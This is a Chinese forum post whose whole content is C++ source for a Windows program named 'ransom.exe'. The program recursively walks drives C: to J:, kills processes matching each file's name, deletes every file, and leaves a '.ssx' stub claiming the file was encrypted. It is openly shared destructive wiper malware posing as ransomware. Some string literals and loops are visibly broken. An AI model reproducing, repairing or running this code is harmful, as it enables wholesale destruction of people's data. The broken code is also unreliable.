本帖最后由 idgg007 于 2021-5-29 19:25 编辑
代码:
- #include <Windows.h>
- #include <sstream>
- #include <fstream>
- #include <string>
- #include <cstdio>
- #include <vector>
- #include <stdio.h>
- #include <windows.h>
- #include <tlhelp32.h>
- #include <tchar.h>
- //typedef struct _WIN32_FIND_DATA {
- // DWORD dwFileAttributes; //文件属性
- // FILETIME ftCreationTime; // 文件创建时间
- // FILETIME ftLastAccessTime; // 文件最后一次访问时间
- // FILETIME ftLastWriteTime; // 文件最后一次修改时间
- // DWORD nFileSizeHigh; // 文件长度高32位
- // DWORD nFileSizeLow; // 文件长度低32位
- // DWORD dwReserved0; // 系统保留
- // DWORD dwReserved1; // 系统保留
- // TCHAR cFileName[ MAX_PATH ]; // 长文件名
- // TCHAR cAlternateFileName[ 14 ]; // 8.3格式文件名
- // } WIN32_FIND_DATA, *PWIN32_FIND_DATA;
- //递归遍历指定文件夹下的所有文件夹和文件
- int GetProcessCount(const TCHAR* szExeName) {
- TCHAR sztarget[MAX_PATH];
- lstrcpy(sztarget, szExeName);
- CharLowerBuff(sztarget, MAX_PATH);
- int count = 0;
- PROCESSENTRY32 my;
- HANDLE l = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (((int)l) != -1) {
- my.dwSize = sizeof(my);
- if (Process32First(l, &my)) {
- do {
- CharLowerBuff(my.szExeFile, MAX_PATH);
- if (lstrcmp(sztarget, my.szExeFile) == 0) {
- count++;
- }
- } while (Process32Next(l, &my));
- }
- CloseHandle(l);
- }
- return count;
- }
- DWORD GetProcessIdFromName(char *name) {
- HANDLE hsnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- if (hsnapshot == INVALID_HANDLE_VALUE) {
- printf("CreateToolhelp32Snapshot Error!\n");
- return 0;
- }
- PROCESSENTRY32 pe;
- pe.dwSize = sizeof(PROCESSENTRY32);
- int flag = Process32First(hsnapshot, &pe);
- while (flag != 0) {
- if (strcmp(pe.szExeFile, name) == 0) {
- return pe.th32ProcessID;
- }
- flag = Process32Next(hsnapshot, &pe);
- }
- CloseHandle(hsnapshot);
- return 0;
- }
- bool KillProcess(DWORD pid) {
- HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
- if (!hProcess) {
- return false;
- }
- BOOL success = TerminateProcess(hProcess, 1);
- CloseHandle(hProcess);
- return success != FALSE;
- }
- void Start(char name[]){
- char Isrun[100];
- int l=0;
- for(int i=0;name[i];i++){
- if(name[i]=='\\'){
- l=i;
- }
- }
- for(int i=l+1,j=0;name[i];i++){
- Isrun[j]=name[i];
- }
- if(!strcmp(Isrun,"勒索.exe")){//判断是否遍历到了自己
- return;
- }
- if(GetProcessCount(Isrun)){
- KillProcess(GetProcessIdFromName(Isrun));
- }
- remove(name);
- strcat(name,".ssx");
- std::ofstream out(name);
- out<<"本文已经被加密";
- }
- void DirectorySearch(const char *dirPath) {
- WIN32_FIND_DATAA lpFindFileData;//这是windows定义的结构体。参见上面
- //路径临时缓存,如果传进来的路径参数dirPath包含最后一个'\',则不做操作,否则加上'\'
- char dirPathTemp[MAX_PATH];
- //路径搜索通配符参数,在总路径后面加上*,匹配所有文件和文件夹
- char dirCodeTemp[MAX_PATH];
- strcpy(dirPathTemp, dirPath);
- strcpy(dirCodeTemp, dirPath);
- const char *pChar = strrchr(dirPath, '\\');
- //如果\\在末尾存在
- if (pChar != NULL && strlen(pChar) == 1) {
- strcat(dirCodeTemp, "*");
- } else {
- strcat(dirCodeTemp, "\\*");
- strcat(dirPathTemp, "\");
- }
- //根据dirCodeTemp通配符查找路径
- HANDLE handle = FindFirstFileA(dirCodeTemp, &lpFindFileData);
- if (handle == INVALID_HANDLE_VALUE) {
- //cout<<dirPathTemp<<"检索失败!"<<endl;
- return;
- }
- //如果输的的是文件,则打印名字和大小
- if ((lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0) {
- //cout<<"文件名:"<<dirPathTemp<<" 大小:"<< lpFindFileData.nFileSizeHigh * (MAXDWORD+1) + lpFindFileData.nFileSizeLow<<endl;
- Start(dirPathTemp);
- }
- //如果输的的是文件夹,则打印名字
- else {
- //cout<<"文件夹名:"<<dirPathTemp<<endl;
- }
- //遍历本路径下的文件夹和文件
- while (FindNextFileA(handle, &lpFindFileData)) {
- //如果是当前根路径,则无需检查(因为上面已经打印了)
- if (!strcmp(lpFindFileData.cFileName, ".") || !strcmp(lpFindFileData.cFileName, ".."))
- continue;
- //当前文件夹或文件的全路径(当前根路径 + 文件夹或文件的名称)
- char dirFileTemp[MAX_PATH];
- strcpy(dirFileTemp, dirPathTemp);
- strcat(dirFileTemp, lpFindFileData.cFileName);
- if ((lpFindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0) {
- //cout<<"文件名:"<<dirFileTemp<<" 大小:"<< lpFindFileData.nFileSizeHigh * (MAXDWORD+1) + lpFindFileData.nFileSizeLow<<endl;
- Start(dirFileTemp);
- } else {
- //cout<<"文件夹名:"<<dirFileTemp<<endl;
- strcat(dirFileTemp, "\");
- //递归检查此子文件夹
- DirectorySearch(dirFileTemp);
- }
- }
- //关闭文件搜索句柄
- FindClose(handle);
- }
- int FILE_GPS(char Str[]) {
- DirectorySearch(Str);
- return 0;
- }
- int main(){
- FILE_GPS("D:\");
- FILE_GPS("E:\");
- FILE_GPS("F:\");
- FILE_GPS("I:\");
- FILE_GPS("J:\");
- FILE_GPS("B:\");
- FILE_GPS("G:\");
- FILE_GPS("H:\");
- FILE_GPS("C:\");
- return 0;
- }
复制代码 C++代码
|